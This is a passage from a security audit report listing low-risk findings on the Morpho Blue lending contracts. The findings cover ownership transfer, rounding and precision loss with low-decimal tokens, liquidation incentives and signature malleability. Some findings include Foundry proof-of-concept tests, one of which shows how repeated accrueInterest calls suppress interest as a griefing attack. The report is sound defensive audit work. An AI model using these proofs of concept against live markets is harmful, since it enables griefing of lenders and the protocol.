+
+Liquidators aiming to assess the health of a borrower's position must duplicate the logic of `_isHealthy()` in a separate function, resulting in redundant code and increased complexity.
+
+**_Lack of Real-time Monitoring:_**
+
+Since the function is not public, liquidators are unable to efficiently track the health status of positions in real-time. This lack of transparency may lead to missed opportunities for timely liquidation.
+
+**_Potential Gas Wastage:_**
+
+Liquidators may incur unnecessary gas costs if they call a custom function to check health and later find that the position has become healthy by the time of liquidation.
+
+To enhance the usability and transparency of the contract, it is recommended to make the `_isHealthy()` function `public`. This would enable external parties, such as liquidators, to directly query the health status of a borrower's position without the need for redundant custom functions.
+
+
+
+
+
+### No incentive for liquidators to liquidate smaller positions
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Consider a scenario where users have opened smaller positions in a market, each valued at less than $250. Given that the protocol operates on the Ethereum mainnet, gas prices can escalate to levels where liquidating these positions is no longer economically viable for the liquidator due to high transaction costs. This accumulation of such positions on the protocol can result in a substantial amount of outstanding debt.
+
+To address this issue, implement a function or design the code to enable a liquidator to efficiently handle multiple smaller positions. This entails minimizing storage read-write operations and consolidating the `transfer` and `transferFrom` calls into a single execution. This optimization significantly reduces gas costs and incentivizes liquidators to efficiently manage and liquidate these smaller positions. Furthermore, this approach can be extended to handle multiple regular positions, resulting in additional gas savings.
+
+
+
+### Single-step change of owner address is risky
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Currently Morpho contract got a single step change of an owner address.
+
+```
+ function setOwner(address newOwner) external onlyOwner {
+ require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+
+If a zero address or incorrect address is used accidentally it can bring troubles to the protocol as some core functions can be called only by owner: such as `enableIrm()` or `enableLltv()`.
+
+Consider using a 2-step process: approve+claim in two different transactions, instead of a single-step change. For example, Ownable2Step contract from Open Zeppelin can be used.
+
+
+
+### `mulDivUp` has worse input range than `mulDivDown`
+
+**Severity:** Low risk
+
+**Context:** [MathLib.sol#L33-L33](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L33-L33)
+
+This `mulDivUp ` round-up function has a worse input range than the `mulDivDown` function (or other round-up functions) because it adds `d - 1` to `x * y` and this addition might lead to an overflow.
+The `mulDivDown` and `mulDivUp` functions should have the same input range for consistency reasons.
+Consider implementing `mulDivUp` a different way. For example:
+
+```solidity
+(x * y) / d + (x * y % d == 0 ? 0 : 1);
+```
+
+
+
+### Positions might not have sufficient liquidation incentive in high LLTV markets
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+- [ConstantsLib.sol#L10-L11](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L10-L11)
+- [Morpho.sol#L112-L120](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L112-L120)
+- [Morpho.sol#L363-L367](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L363-L367)
+
+**Description:**
+
+In Morpho Blue, markets can be deployed with less than 100% LLTV:
+
+```solidity
+require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+```
+
+The market's LLTV is used to calculate the additional percentage of collateral that liquidators earn from liquidating unhealthy positions, known as the liquidation incentive factor (LIF):
+
+```solidity
+// The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+);
+```
+
+The calculation for LIF is shown below, where `LIQUIDATION_CURSOR` is `0.3e18` [in Morpho Blue]((https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L10-L11)):
+
+$$ LIF = { 1 \over 1 - 0.3 (1-LLTV) }$$
+
+However, this method of calculating LIF becomes a problem in markets with a high LLTV, since LIF will be extremely small. For example, in a market where LLTV is 95%, LIF will only be ~101.52%, which means liquidators only earn 1.52% when liquidating.
+
+Should the 1.52% earned from liquidation be less than the gas cost of calling `liquidate()`, liquidators will no longer have any incentive to liquidate unhealthy positions. For example:
+- Assume a market has a 95% LLTV.
+- A borrower deposits 100 USD worth of collateral, which allows him to borrow 95 USD worth of loan tokens.
+- His collateral depreciates in value, causing it to be worth only 98 USD. His position is now unhealthy.
+- Assume that the current gas cost of calling `liquidate()` is 2 USD.
+- With a ~101.52% LIF, a liquidator will get 99.49 USD worth of collateral in return for repaying his entire position, earning only USD 1.49.
+- As such, there is no incentive for anyone to liquidate the position.
+
+An attacker could even take advantage of this by opening multiple small positions rather than a single large one, forcing liquidators to call `liquidate()` multiple times and pay more gas for him to be entirely liquidated.
+
+If there are many such unhealthy positions left unliquidated in a market, it could potentially harm:
+- Lenders, since debts are not repaid, they will be unable to withdraw.
+- Borrowers, since `totalBorrowAssets` will be larger than it should be, causing the interest rate to grow at a faster rate.
+
+Note that markets with a smaller LLTV also face the same problem, just that the size of positions that do not have sufficient liquidation incentive is smaller. For example, at 70% LLTV, LIF will be ~109.9%, which means any position with collateral worth more than 20 USD will be profitable.
+
+**Recommendation:**
+
+Consider requiring a minimum amount of collateral, which is based on the market's LLTV, for borrowers to open any position. Ideally, this lower bound should be large enough such that any unhealthy position will have sufficient liquidation incentive.
+
+
+
+### Inconsistent paramter checks between `liquidate` and other functions
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+The `liquidate` function is similar to a `repay` + `withdrawCollateral`. Both of these functions perform a `require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);` check which `liquidate` is missing.
+
+For consistency, the behavior should be the same among all functions. Either remove all zero address checks or also add them to `liquidate`.
+```solidity
+require(borrower != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+### `supply` function breaks when dealing with tokens with large decimals (36)
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**: The function `supply` allows users to supply tokens to the market to be borrowed by other users. The issue is that this function can break if a token with a large number of decimals (say 36) is used.
+
+This is because when the shares are calculated, it is then converted to a uint128 as shown below.
+
+```solidity
+market[id].totalSupplyShares += shares.toUint128();
+market[id].totalSupplyAssets += assets.toUint128();
+```
+
+A `uint128` can have a maximum value of 3.4e38, and if the token itself has 36 decimals, it will easily hit this limit. In that case, the `toUint128` function will revert.
+
+**Recommendation**: Either consider using uint256 to store balances, or explicitly mention that high decimal tokens are not supported.
+
+
+
+### Bad debt assets not emitted as event.
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L403-L403](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L403-L403)
+
+No event that tracks the bad debt as _assets_ is emitted. This value is more interesting to know than the `badDebtShares` (which is emitted) and is hard to recompute only knowing the current total borrow shares and assets.
+Note that bad debt socializing is essentially performing a `repay` paid from the common total supply assets and the `repay` function also emits an event with the assets: `emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);`.
+Consider emitting the `badDebt` parameter computed above for consistency reasons and easy off-chain processing.
+
+
+
+### Markets that use low-decimal loan tokens may not charged fees
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+When market using low decimal token as `loanToken`, it may not pay market fee due to precision loss. When `_accrueInterest` is triggered, it will eventually calculate `feeAmount` if `market[id].fee` is not 0, this `feeAmount` will be used to calculate `feeShares` that will be accounted to `feeRecipient`.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L483
+
+```solidity
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ >>> uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+```
+
+The problem is, if `loanToken` use low decimal token such as [gUSD](https://etherscan.io/token/0x056fd409e1d7a124bd7017459dfea2f387b6d5cd) (2 decimals token), `feeAmount` could result with 0 due to rounding, even though `interest` is non 0 and causing system not taking fee when it supposed to.
+
+**PoC** :
+
+Scenario, market fee is 10%. and market use gUSD as loan token.
+
+Add the following test to `AccrueInterestIntegrationTest.sol` test file :
+
+```solidity
+ function testInterestFeeLowDecimal() public {
+ uint256 collateralPrice = oracle.price();
+ uint256 amountCollateral = 100 * 1e2;
+ uint256 amountSupplied = 100 * 1e2;
+ uint256 amountBorrowed = 70 * 1e2;
+ uint256 timeElapsed = 17 hours;
+ vm.prank(OWNER);
+ morpho.setFee(marketParams, 0.1e18);
+ loanToken.setBalance(address(this), amountSupplied);
+ morpho.supply(marketParams, amountSupplied, 0, address(this), hex"");
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + timeElapsed);
+
+ uint256 borrowRate = (morpho.totalBorrowAssets(id).wDivDown(morpho.totalSupplyAssets(id))) / 365 days;
+ console.log("borrowRate : ");
+ console.log(borrowRate);
+ uint256 totalBorrowBeforeAccrued = morpho.totalBorrowAssets(id);
+ uint256 totalSupplyBeforeAccrued = morpho.totalSupplyAssets(id);
+ uint256 totalSupplySharesBeforeAccrued = morpho.totalSupplyShares(id);
+ uint256 expectedAccruedInterest =
+ totalBorrowBeforeAccrued.wMulDown(borrowRate.wTaylorCompounded(timeElapsed));
+ console.log("accured interest : ");
+ console.log(expectedAccruedInterest);
+ uint256 marketFee = morpho.fee(id);
+ console.log("calculated fee : ");
+ uint256 feeAmount = expectedAccruedInterest.wMulDown(marketFee);
+ console.log(feeAmount);
+ vm.expectEmit(true, true, true, true, address(morpho));
+ emit EventsLib.AccrueInterest(id, borrowRate, expectedAccruedInterest, 0);
+ morpho.accrueInterest(marketParams);
+
+ assertEq(morpho.totalBorrowAssets(id), totalBorrowBeforeAccrued + expectedAccruedInterest, "total borrow");
+ assertEq(morpho.totalSupplyAssets(id), totalSupplyBeforeAccrued + expectedAccruedInterest, "total supply");
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract AccrueInterestIntegrationTest --match-test testInterestFeeLowDecimal -vvv
+```
+
+Log output :
+
+```shell
+Logs:
+ borrowRate :
+ 22196854388
+ accured interest :
+ 9
+ calculated fee :
+ 0
+```
+
+It can be observed that the calculated fee is 0, even though accrued interest is not 0.
+
+**Recommendation**:
+
+Several things can be done, rounding up when calculating `feeAmount` is generally a good idea. Reverting the call when interest is non 0 but fee result in 0 can also be done, although might hurt user experience. Or explicitly state in documentation that low decimals token such as gUSD is not supported.
+
+
+
+
+### The repay function panics when attempting to repay the balance of a borrower with no or low balance.
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L284-L284](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L284-L284)
+
+In the MorphoBlue markets, anyone can repay assets or shares on behalf of an account. There are several conditions that check if the market has been created, either assets or shares are specified and the onbehalf address isn't address zero. However, there are no checks in place to ensure that the onbehalf address indeed has a balance on the market. And if a repayment is attempted for a borrower with no or low balance, then the function panics with the following error message.
+
+[FAIL. Reason: panic: arithmetic underflow or overflow (0x11);
+There should be a more graceful way to handle this error message, so that the Dapps integrating MorphoBlue will be able to handle the error message more gracefully.
+
+Consider adding a revert statement if the borrower's balance is lower than the amount being repayed.
+
+
+
+### Unrealised Bad Debt Shares Still Accrue Interest
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Interest is accrued on Supply Shares. When there are positions that are in bad debt but have not been liquidated yet, these still accrue interest and the bad debt increases
+
+**Recommendation**:
+
+There are some incentive problems when it comes to fully liquidating positions. When those are improved, it lessens the likelihood/frequency of the described bad debt interest accrual happening.
+
+
+
+### Interest/fee accrual can be suppressed in regular markets with low-decimal loan tokens
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L477-L477](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477-L477)
+
+- Description
+
+There are legitimate tokens, like the stablecoin [Gemini USD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd), which have extremely low decimals (2 in case of `GUSD`).
+Using such a token as loan token and having normal/typical market parameters, it can happen in a market where `_accrueInterest(...)` is frequently called due to market interactions, that **no** interest is accrued at all due to precision loss.
+
+The problem originates from the [Morpho._accrueInterest(...)](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L471) method
+```solidity
+L477: uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+where `interest` becomes `0`, if `totalBorrowAssets * borrowRate.wTaylorCompounded(elapsed) < 10^18`.
+
+
+- Proof of concept
+
+The following is a step-by-step example as well as a runnable PoC that demonstrates when `50k GUSD` are borrowed at a rate of `5% p.a.` and `accrueInterest(...)` is called every `125 blocks`, then `0 interest` is accrued within `365 days`.
+
+
+Add the test case below to `morpho-blue/test/forge/integration/AccrueInterestIntegrationTest.sol` and run it with `yarn test:forge:integration -vv --match-test testAccrueNoInterestDueToPrecision`:
+
+```solidity
+function testAccrueNoInterestDueToPrecision() public {
+ // 1. Create market with 50% LLTV
+ // Collateral to loan token price is 1:1 for simplicity
+ _setLltv(0.50 ether);
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ // 2. Borrower: Supply collateral
+ uint256 amountCollateral = 100e5;
+ collateralToken.setBalance(BORROWER, amountCollateral);
+ vm.prank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ // 3. Supplier: Supply 1M GUSD (1M = 20*50k)
+ // * Later, the borrower will borrow 50k GUSD
+ // * According to 'IrmMock': 50k / 1M --> 5% borrow rate p.a.
+ uint256 amountBorrow = 50e5;
+ uint256 amountLoanSupply = amountBorrow * 20;
+ loanToken.setBalance(SUPPLIER, amountLoanSupply);
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, amountLoanSupply, 0, SUPPLIER, hex"");
+
+ // 4. Borrower: Borrow 50k GUSD
+ vm.prank(BORROWER);
+ morpho.borrow(marketParams, amountBorrow, 0, BORROWER, BORROWER);
+
+ // Snapshot before interest accrual
+ uint256 totalBorrowBeforeAccrued = morpho.totalBorrowAssets(id);
+ uint256 totalSupplyBeforeAccrued = morpho.totalSupplyAssets(id);
+
+ // 5. Call 'accrueInterest' every 125 blocks for a whole 365 days
+ for (uint256 t = 0; t < 365 days; t += 125 * BLOCK_TIME) {
+ _forward(125);
+ morpho.accrueInterest(marketParams);
+ }
+
+ // Snapshot after interest accrual
+ uint256 totalBorrowAfterAccrued = morpho.totalBorrowAssets(id);
+ uint256 totalSupplyAfterAccrued = morpho.totalSupplyAssets(id);
+
+ // 6. NO interest was accrued within a year
+ assertEq(totalBorrowAfterAccrued, totalBorrowBeforeAccrued, "total borrow");
+ assertEq(totalSupplyAfterAccrued, totalSupplyBeforeAccrued, "total supply");
+}
+```
+
+- Impacts
+
+* Suppression of interest and fee accrual.
+* Economical incentives might be limited due to transaction fees, but this is also a griefing attack vector.
+* Even when the interest accrual is not continuously suppressed or does not lead to exactly zero interest in every instance, the present issue shows that the interest accrual is heavily distorted in markets with low-decimal loan tokens.
+
+- Recommendation
+
+The present issue can be mitigated, assuming there are no zero interest markets, by returning from the `_accrueInterest(...)` method in case `interest == 0`. This way, the market timestamp is only updated when non-zero interest is accrued and therefore allowing the elapsed time to accumulate until the interest becomes non-zero.
+
+```diff
+diff --git a/src/Morpho.sol b/src/Morpho.sol
+index f755904..c1fe2e7 100644
+--- a/src/Morpho.sol
++++ b/src/Morpho.sol
+@@ -475,6 +475,8 @@ contract Morpho is IMorphoStaticTyping {
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
++ if (interest == 0) return;
++
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+```
+
+
+
+
+### Missing disableLltv() Function in Smart Contract
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The smart contract lacks a disableLltv() function, making it impossible to deactivate the LLTV (Loan-to-Value) feature once it has been enabled. This omission could impact the contract's flexibility and risk management. Implementing a corresponding disableLltv() function is recommended for better protocol governance.
+
+**Recommendation**:
+Add `disableLltv` function
+
+
+
+### Signature malleability of `ecrecover` in `setAuthorizationWithSig`
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L441-L441](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L441-L441)
+
+**Description**:
+
+Signatures with s-value greater than secp256k1n/2 were restricted in [EIP-2](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2.md). The EVM's `ecrecover` will keep accepting high s-values and it is susceptible to signature malleability which allows replay attacks. That is mitigated here by tracking authorizer's nonce. However it is best practice to check signature malleability in ecrecover and align the code to EIPs.
+
+See reference:
+- https://swcregistry.io/docs/SWC-117
+- https://github.com/ethereum/EIPs/blob/master/EIPS/eip-2.md
+
+**Recommendation**:
+
+Consider using OpenZeppelin’s ECDSA library: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
+
+
+
+### Replay attacks in case of hard fork
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L78-L78](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L78-L78)
+
+**Description**:
+
+`DOMAIN_SEPARATOR` is computed in the constructor. In case of a hardfork then its value will become invalid. This is because the `chainid` parameter, even after hard fork, would remain the same which is incorrect and could cause possible replay attacks.
+
+**Recommendation**:
+
+The `DOMAIN_SEPARATOR` variable should be removed from constructor and recomputed everytime by placing current value of `chainid`.
+
+```solidity
+function _buildDomainSeparator() private view returns (bytes32) {
+ return keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+}
+
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ ...
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", _buildDomainSeparator(), hashStruct));
+ ...
+}
+```
+
+
+
+
+
+### Low and Informational Findings
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Contents
+
+- Low Findings
+
+· [Single-step ownership change introduces risks](#L1)
+· [Protocol not compatible with fee-on-transfer or rebasing tokens](#L2)
+· [Minor decimal precision loss in `liquidate`](#L3)
+· [Not checking a return value in `onMorphoFlashLoan` fallback can have undesired effects](#L4)
+
+- Informational Findings
+
+· [Constants should by literal values, no not-computed values like keccak256 in DOMAIN_TYPEHASH and AUTHORIZATION_TYPEHASH](#I1)
+· [In `setFee()` newFee should be a uint128, instead of uint256](#I2)
+· [Ecrecover is susceptible to signature malleability](#I3)
+· [Name mappings to clarify key value relations](#I4)
+
+- Single-step ownership change introduces risks
+
+- Description
+Single-step ownership transfers add the risk of setting an unwanted owner by accident (this includes
+address(0)) if the ownership transfer is not done with excessive care.
+
+- Recommendation
+Even that the risk is acknowledged in `IMorpho::setOwner` natspec, an implementation is highly recommended.
+If the protocol intends to attract billions, its configuration setters shouldn't rely on a single point of failure that the current `setOwner()` is.
+
+- Protocol not compatible with fee-on-transfer or rebasing tokens
+
+- Description
+Some tokens make arbitrary changes to account balances. Examples are fee-on-transfer tokens and tokens with rebasing mechanisms. There is no specific handling for such tokens, as the amount held by the `Morpho` contract is accounted virtually and there are not `balanceOf(address(this))` after transfers, which would result in less tokens than it has accounted for.
+Example tokens that take a transfer fee (e.g. STA, PAXG).
+Some that do not currently charge a fee but may do so in the future (e.g. USDT, USDC).
+Popular rebasing tokens like stETH to not be practical since the accounting is only virtual and the yield it generates on the contract would be lost.
+
+- Recommendation
+Morpho sould think about handling such tokens with `balanceOf` checks, or document the types of ERC20 tokens that could create problems in the protocol.
+Take into account that `balanceOf` checks to check current contract assets if mismanaged can introduce flash loans vulnerabilities by inflating the `balanceOf(address(this))`.
+
+- Minor decimal precision loss in `liquidate
+
+- Description
+
+In the function `Morpho::liquidate()` you can either pass the share to repay or the assets to seize via `repaidShares` and `seizedAssets` parameters.
+These are used to calculate the `repaidAssets`, and the parameter that has been passed as 0.
+This creates an invariant that for a call to `liquidate()` with a number of `seizedAssets`, the equivalent number of `repaidShares` when is passed as the sole parameter to `liquidate()`, should output the original number of `seizedAssets`.
+To confirm this I ran the following POC:
+``` solidity
+File: Morpho.sol
+ /// @audit Include testing function
+ /// @dev It runs _accrueInterest, but since the following call in the same block won't run it, the contract will have the same state for both seizedAssets and repaidShares calculation
+ function liquidateTester(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata
+ ) external returns (uint256, uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ return (seizedAssets, repaidAssets, repaidShares);
+ }
+```
+
+And in `MorphoInvariantTest` add the following helper functions:
+``` solidity
+ function _liquidateSeizedAssetsTester(MarketParams memory _marketParams, address borrower, uint256 seizedAssets)
+ internal
+ logCall("liquidateSeizedAssetsTester")
+ returns (uint256, uint256, uint256)
+ {
+ uint256 collateralPrice = oracle.price();
+ uint256 repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(
+ _liquidationIncentiveFactor(_marketParams.lltv)
+ );
+
+ loanToken.setBalance(msg.sender, repaidAssets);
+
+ vm.prank(msg.sender);
+ return morpho.liquidateTester(_marketParams, borrower, seizedAssets, 0, hex"");
+ }
+
+ function _liquidateRepaidSharesTester(MarketParams memory _marketParams, address borrower, uint256 repaidShares)
+ internal
+ logCall("liquidateRepaidSharesTester")
+ returns (uint256, uint256, uint256)
+ {
+ (,, uint256 totalBorrowAssets, uint256 totalBorrowShares) = morpho.expectedMarketBalances(_marketParams);
+
+ loanToken.setBalance(msg.sender, repaidShares.toAssetsUp(totalBorrowAssets, totalBorrowShares));
+
+ vm.prank(msg.sender);
+ return morpho.liquidateTester(_marketParams, borrower, 0, repaidShares, hex"");
+ }
+```
+
+And at the end of the file:
+``` solidity
+ function invariantLiquidateShouldntDistingateBetweenRepaidSharesNSeizedAssets() external {
+ uint256 marketSeed = uint256(keccak256(abi.encodePacked(block.number, block.timestamp, blockhash(block.number - 1))));
+ uint256 onBehalfSeed = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.number, block.timestamp)));
+ uint256 repaidShares = uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), block.number)));
+ MarketParams memory _marketParams = _randomMarket(marketSeed);
+
+ address borrower = _randomUnhealthyBorrower(targetSenders(), _marketParams, onBehalfSeed);
+ if (borrower == address(0)) return;
+
+ repaidShares = _boundLiquidateRepaidShares(_marketParams, borrower, repaidShares);
+ if (repaidShares == 0) return;
+
+ (uint256 seizedAssetsV1, uint256 repaidAssetsV1, uint256 repaidSharesV1) = _liquidateRepaidSharesTester(_marketParams, borrower, repaidShares);
+ (uint256 seizedAssetsV2, uint256 repaidAssetsV2, uint256 repaidSharesV2) = _liquidateSeizedAssetsTester(_marketParams, borrower, seizedAssetsV1);
+
+ assertEq(seizedAssetsV1, seizedAssetsV2);
+ assertEq(repaidAssetsV1, repaidAssetsV2);
+ assertEq(repaidSharesV1, repaidSharesV2);
+ }
+```
+
+And after running the invariants, the `repaidShares` breaks with a low margin of error of 6 decimals:
+Example:
+```
+Error: a == b not satisfied [uint]
+ Left: 42306408622495611729881279659478
+ Right: 42306408622495611729881279741724
+```
+This is caused because of the difference of adding `VIRTUAL_SHARES` to `totalShares` in `toSharesDown` to calculate `repaidShares` when the parameter passed to `liquidate()` is `seizedAssets`.
+
+- Recommendation
+
+Morpho should decide if this amount of precision lost is justifiable to prevent inflation attacks, or if it can be furthered lowered.
+
+- Not checking a return value in `onMorphoFlashLoan` fallback can have undesired effects
+
+- Summary
+
+The morpho-blue flashLoan function does not check for compliance of the lender with the flashloan standard.
+This is the standard practice to have in flash loans, but the main reason would be to not calling the fallback function logic.
+
+Relevant links: [Function](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L415C11-L415C11)
+
+- Vulnerablity details
+
+In the `Morpho::flashLoan` function there's no check for the standard callback success return:
+
+```
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+
+```
+- Impact
+
+Calling contracts which do not implement the `onMorphoFlashLoan()` function selector will get the calldata delegated to its fallback function if they have any, this can create unintended consequences for the calling actor.
+
+- Solution
+
+The caller should be enforced to have a dedicated function return compliant with the `onMorphoFlashLoan` callback.
+
+Consider add this check to the function, to also be compliant with the ERC3156 standard.
+
+``` solidity
+bytes32 CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
+require(
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data) == CALLBACK_SUCCESS,
+ "FlashMinter: Callback failed"
+);
+
+```
+
+- Constants should by literal values, no not-computed values like keccak256 in DOMAIN_TYPEHASH and AUTHORIZATION_TYPEHASH
+
+- Description
+There is a difference between constant variables and immutable variables, and they should each be used in their appropriate contexts. constants should be used for literal values written into the code, and immutable variables should be used for expressions, or values calculated in, or passed into the constructor.
+
+Instances (2):
+```solidity
+16: /// @dev The EIP-712 typeHash for EIP712Domain.
+17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+19: /// @dev The EIP-712 typeHash for Authorization.
+20: bytes32 constant AUTHORIZATION_TYPEHASH =
+21: keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline)");
+
+```
+
+- Recommendation
+Declare the variables as `immutable`and populate them in the constructor, this will both show the value initialization in the code and only compute the `keccak256()` once.
+If Morpho want to keep the constant in the `ConstantsLib`, it can store the literal value of the typehash.
+Since the base cost of `keccak256` is 30 gas, and for each additional 32 bytes increases by 6, such a change will save 42 gas for the DOMAIN_TYPEHASH calculation, and 54 gas for AUTHORIZATION_TYPEHASH.
+
+- In `setFee()` newFee should be a uint128, instead of uint256
+
+- Description
+In `Morpho::setFee()` it is unnecesarry to pass the `newFee` param as uint256, when the `market[id].fee = uint128(newFee)` requires a uint128 type conversion, which in this case would cost an additional 28 gas.
+
+- Recommendation
+
+Remove the uint128 cast, change the parameter `newFee` type from uint256 to uint128 in `EventsLib.SetFee` and in the `Morpho::setFee()` function.
+
+- Ecrecover is susceptible to signature malleability
+
+- Description
+`Morpho::setAuthorizationWithSig()` calls the Solidity ecrecover function directly to verify the given signature. However, the ecrecover EVM opcode allows for malleable (non-unique) signatures and thus is susceptible to replay attacks.
+
+- Recommendation
+Although a replay attack on this contract is not possible since each user's nonce is used only once, rejecting malleable signatures is considered a best practice.
+
+- Name mappings to clarify key value relations
+
+- Description
+Since Solidity release 0.8.18 it is possible to name the mappings 'key: values', it would clarify people looking at the verified bytecode in block explorers to see what each type represents.
+
